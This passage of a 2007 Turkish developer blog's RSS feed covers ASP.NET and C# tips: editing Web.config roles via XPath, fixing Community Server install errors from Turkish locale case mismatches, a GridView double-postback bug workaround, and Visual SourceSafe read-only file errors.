&lt;P&gt;Web.config te nihayetinde bir XML belgesidir deyip Xpath ide yanımıza alıp System.XML in kapısını çalıyoruz.&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/P&gt;&lt;PRE class=coloredcode&gt;&lt;SPAN class=kwd&gt;string&lt;/SPAN&gt; baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
&lt;SPAN class=kwd&gt;string&lt;/SPAN&gt; path = System.IO.Path.Combine(baseDirectory, &lt;SPAN class=st&gt;"Web.Config"&lt;/SPAN&gt;);
XmlDocument doc = &lt;SPAN class=kwd&gt;new&lt;/SPAN&gt; XmlDocument();
doc.Load(path);
XmlElement configuration = doc.DocumentElement;
XmlNode location = configuration.SelectSingleNode(&lt;SPAN class=st&gt;"location[@path='Admin']"&lt;/SPAN&gt;);
XmlNode allow = location.SelectSingleNode(@&lt;SPAN class=st&gt;"system.web/authorization/allow"&lt;/SPAN&gt;);
allow.Attributes[&lt;SPAN class=st&gt;"roles"&lt;/SPAN&gt;].InnerText += &lt;SPAN class=st&gt;",Ahmet"&lt;/SPAN&gt;;
doc.Save(path);&lt;/PRE&gt;&lt;FONT color=#ff0000&gt;&lt;STRONG&gt;&lt;EM&gt;Uyarı&lt;/EM&gt;&lt;/STRONG&gt;&lt;/FONT&gt; : Web.config te yapılan her değişiklik IIS te Application'ı resetler. Bu kod çalıştıktan sonra Session larınız düşebilir. Üye girişinde cookie kullanmıyorsanız tüm kullanıcılar tekrar giriş yapmak zorunda kalabilir. &lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=45" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/ASP.NET/default.aspx">ASP.NET</category><category domain="http://selcukyavuz.net/archive/tags/C_2300_/default.aspx">C#</category></item><item><title>Community Server Kurulum Hataları</title><link>http://selcukyavuz.net/archive/2007/02/25/18.aspx</link><pubDate>Sun, 25 Feb 2007 22:11:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:18</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=18</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/02/25/18.aspx#comments</comments><description>&lt;P&gt;Bu sitenin alt yapısında kullandığım&amp;nbsp;&lt;A href="http://www.communityserver.org/"&gt;Community Server&lt;/A&gt;&amp;nbsp;kurulumunda bazı hatalarla karşılaşabilirsiniz.&amp;nbsp;CS'i yazan zat-ı muhteremlerin bölgesel ayarları &lt;EM&gt;English&lt;/EM&gt; olduğundan onlar&amp;nbsp;böyle bir hata ile karşılaşmıyorlardır ancak sizin bölgesel ayarlarınız &lt;EM&gt;"Türkçe"&lt;/EM&gt; ise "i" ve "I" karakterlerinin uyumsuzluğundan kaynaklanan hatalar alabilirsiniz. &lt;/P&gt;
&lt;P&gt;Bu yüzden CS'in Web Setup (MSI) yani otomatik kurulumunu değilde en azından veritabanının manuel olarak kurulmasını tavsiye ederim. &lt;/P&gt;
&lt;P&gt;CS veritabanınızı manuel olarak kursanızda karşılaşmanız muhtemel sorunları belirlelim.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;SqlScripts&lt;/STRONG&gt; klasörü altında bulunan &lt;STRONG&gt;cs_Procedures&lt;/STRONG&gt; isimli dosyada &lt;/P&gt;&lt;PRE&gt;Satır   Sütun   Eski Değer     Yeni Değer
-----   -----   -----------    -----------
  104      8    isIndexed      IsIndexed
 2529     57    cs_UseriD      cs_UserID
16941     14    @parentid      @parentId
19612     45    Impressions    impressions
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Ek olarak kurulumda sorun çıkarmayan ancak Run Time da yani CS i kullanırken karşılaştığım benzer sebeplerden kaynaklanan bir hata daha var. O da bir Blog Girişi yaparken ortaya çıkıyor. Hatanın sebebi cs_SectionTokens_Get isimli Stored Procedure kullanılan @SectionID nin yazılım içinde @sectionid olarak küçük harflerle yazılması. &lt;/P&gt;
&lt;P&gt;Kurulumdan önce şu değerleri değiştirirsek sorun yaşamayız : &lt;/P&gt;&lt;PRE&gt;Satır   Sütun   Eski Değer     Yeni Değer
-----   -----   -----------    -----------
14036      5    @SectionID     @SectioniD
14040    117    @SectionID     @SectioniD
&lt;/PRE&gt;
&lt;P&gt;Eğer Veritabanını kurduysak bu hatayı gidermek için SQL Server Studio Management'te aşağıdaki kodu çalıştırırsak hata giderilecektir : &lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;Alter&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Proc&lt;/FONT&gt;&lt;FONT size=2&gt; [dbo]&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;[cs_SectionTokens_Get]&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=#808080 size=2&gt;(&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT face="Courier New"&gt;@SectioniD &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;&lt;FONT color=#0000ff size=2&gt;int&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT face="Courier New"&gt;@SettingsID &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;&lt;FONT face="Courier New"&gt;int&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=#808080 size=2&gt;)&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;&lt;FONT face="Courier New"&gt;as&lt;BR&gt;&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;Select&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;&lt;FONT size=2&gt; TokenID&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; Token&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; Link&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; [Text]&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; SectionID &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; cs_SectionTokens &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;where&lt;/FONT&gt;&lt;FONT size=2&gt; SettingsID &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; @SettingsID &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;and&lt;/FONT&gt;&lt;FONT size=2&gt; SectionID &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; @SectioniD &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;Order&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;by&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT face="Courier New"&gt; Token&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT face="Courier New"&gt;GO&lt;/FONT&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=18" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Community_5F00_Server/default.aspx">Community_Server</category></item><item><title>PHP ve MYSQL gibi açık sistemlerin kalesi Yahoo da Vista dalgasına kapılıyor mu ne ?</title><link>http://selcukyavuz.net/archive/2007/01/12/php-ve-mysql-gibi-a-231-k-sistemlerin-kalesi-yahoo-da-vista-dalgas-na-kap-l-yor-mu-ne.aspx</link><pubDate>Fri, 12 Jan 2007 20:01:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:15</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=15</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/01/12/php-ve-mysql-gibi-a-231-k-sistemlerin-kalesi-yahoo-da-vista-dalgas-na-kap-l-yor-mu-ne.aspx#comments</comments><description>&lt;DIV&gt;Önce .Net Framework ile çıktılar.. Vizyonumuz 10 sene sürecek 3 fazdan oluşacak dediler..&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Klasik ASP ile yarım saatte yaptığım tabloyu DataGrid dedikleri bir şeyle 3 dakikada yaptılar.&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Buna birinci dalga dediler..&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;İlk dalgaya Borland firması kapıldı.&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Yazılımcıların en büyük silahı Delphi'yi tahttan indirdiler, Delphi 8.0 sürümünü .Net altyapısı üzerine kurdu.&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Object Oriented Database kavramına SQL 2005 ile birlikte ilk adımı attılar. VS.NET 2007 ile birlikte çıkardılar.&lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Buna ikinci dalga dediler. &lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;XAML diye bir şey çıkardılar. Flash'ın vektörel cazibesini masaüstüne taşıyacağız dediler. &lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;IDE yi hazırlamadan .NET Framework 3.0 ı çıkardılar. &lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Üçüncü ve son dalganın habercisi idi bu. &lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Daha üçüncü dalga gelmeden PHP ve MYSQL in kalesi İnternet devi Yahoo da "&lt;A href="http://messenger.yahoo.com/windowsvista.php"&gt;&lt;FONT color=#370b89&gt;Yahoo Messsenger for Windows Vista&lt;/FONT&gt;&lt;/A&gt;" yı piyasaya sürmek üzere. &lt;/DIV&gt;
&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;
&lt;DIV&gt;Haydi hayırlısı..&lt;/DIV&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=15" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/.NET/default.aspx">.NET</category></item><item><title>Double Postback</title><link>http://selcukyavuz.net/archive/2007/01/07/14.aspx</link><pubDate>Sun, 07 Jan 2007 20:00:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:14</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=14</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/01/07/14.aspx#comments</comments><description>&lt;DIV&gt;
&lt;P&gt;ASP.NET 2.0 ile geliştirdiğimiz bir uygulamada enteresan bir bug'a rastladım. 
&lt;P&gt;GridView içerisinde ki CommandFiled'lar sağlıklı bir şekilde çalışıyorken.&amp;nbsp;ButtonType&amp;nbsp;özelliğini Image yaptığımızda&amp;nbsp;postback işlemi iki kere gerçekleşiyor.&lt;FONT color=#0000ff size=2&gt; 
&lt;P&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;asp&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;:&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;GridView&amp;nbsp;&lt;FONT color=#ff0000 size=2&gt;ID&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="GridView1"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;runat&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="server"&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt;&amp;gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT color=#0000ff size=2&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;Columns&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;&amp;gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;asp&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;:&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;BoundField&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;DataField&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="Name"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;HeaderText&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="Name"/&amp;gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;asp&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;:&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;CommandField&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;ShowDeleteButton&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="True"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;STRONG&gt;&lt;FONT color=#ff0000 size=2&gt;ButtonType&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="Image"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;DeleteImageUrl&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;="~/Images/Icons/Delete.png"&lt;/FONT&gt;&lt;/STRONG&gt;&lt;FONT color=#000000 size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;/&amp;gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=3&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;Columns&lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;BR&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;asp&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;:&lt;/FONT&gt;&lt;FONT color=#800000&gt;GridView&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#333333&gt; &lt;/FONT&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;FONT color=#0000ff&gt;&lt;FONT color=#000000&gt;&lt;FONT size=2&gt;Uzunca bir süre kodumu inceledim nerede hata yaptım diye. "double postback" anahtar kelimeleri ile yaptığım bir araştırma sonucunda bunu bir bug olduğunu gördüm : &lt;/FONT&gt;&lt;A href="http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=156012"&gt;&lt;U&gt;&lt;FONT color=#0000ff size=2&gt;http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=156012&lt;/FONT&gt;&lt;/U&gt;&lt;/A&gt;&lt;/FONT&gt;&lt;/FONT&gt; 
&lt;P&gt;&lt;FONT color=#0000ff size=2&gt;&lt;FONT color=#000000&gt;Microsoft yetkilileri "We are investigating this issue" desede Bug'ı bildiren WebGolem hayli ilginç bir çözüm sunmuş :&lt;/FONT&gt;&lt;/FONT&gt; 
&lt;P&gt;&lt;A href="http://connect.microsoft.com/VisualStudio/feedback/Workaround.aspx?FeedbackID=156012"&gt;&lt;U&gt;&lt;FONT color=#0000ff&gt;http://connect.microsoft.com/VisualStudio/feedback/Workaround.aspx?FeedbackID=156012&lt;/FONT&gt;&lt;/U&gt;&lt;/A&gt; 
&lt;P&gt;&lt;SPAN&gt;Entered by&lt;/SPAN&gt; &lt;SPAN&gt;WebGolem&lt;/SPAN&gt; &lt;SPAN&gt;on&lt;/SPAN&gt; &lt;SPAN&gt;7/4/2006&lt;/SPAN&gt; &lt;BR&gt;&lt;BR&gt;&lt;SPAN&gt;insert the following lines in your RowCommand event: 
&lt;DIV&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;if&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; (Request[&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;"x"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt;] == &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;null&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt; || Request[&lt;/FONT&gt;&lt;FONT color=#800000 size=2&gt;"y"&lt;/FONT&gt;&lt;FONT color=#000000 size=2&gt;] == &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;null&lt;/FONT&gt;&lt;FONT size=2&gt;&lt;FONT color=#000000&gt;)&lt;BR&gt;{&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Response.End();&lt;BR&gt;}&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/DIV&gt;&lt;/SPAN&gt;&lt;/DIV&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=14" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/ASP.NET/default.aspx">ASP.NET</category></item><item><title>Visual Source Safe ve UnauthorizedAccessException</title><link>http://selcukyavuz.net/archive/2007/01/05/13.aspx</link><pubDate>Fri, 05 Jan 2007 20:00:00 GMT</pubDate><guid isPermaLink="false">93a740df-cedb-4050-a0af-ef9e34650270:13</guid><dc:creator>Selçuk Yavuz</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://selcukyavuz.net/rsscomments.aspx?PostID=13</wfw:commentRss><comments>http://selcukyavuz.net/archive/2007/01/05/13.aspx#comments</comments><description>&lt;P&gt;Projelerinizi geliştirirken Visual Source Safe kullanıyorsanız Check Out yapmadan dosyaları değiştiremediğinizi biliyorsunuzdur. 
&lt;P&gt;Siz Check Out yapanada kadar dosyalarınız local'inizde read-only olarak tutulur. 
&lt;P&gt;Bu yüzden System.IO.StreamWriter yada başka bir namespace ile projenizdeki herhangi bir dosyanın içeriğini değiştirmeye çalışırsanız UnauthorizedAccessException hatası alacaksınız. 
&lt;P&gt;Read Only özelliğini kaldırsanız dahi debug halinde bu VSS bu dosyayı tekrar read only yapacaktır. 
&lt;P&gt;Bu yüzden&amp;nbsp;projenizi debug etmeden evvel değiştirmeyi düşündüğünüz dosyayı önce Check Out yapın.&lt;/P&gt;&lt;img src="http://selcukyavuz.net/aggbug.aspx?PostID=13" width="1" height="1"&gt;</description><category domain="http://selcukyavuz.net/archive/tags/Visual_5F00_Source_5F00_Safe/default.aspx">Visual_Source_Safe</category></item></channel></rss>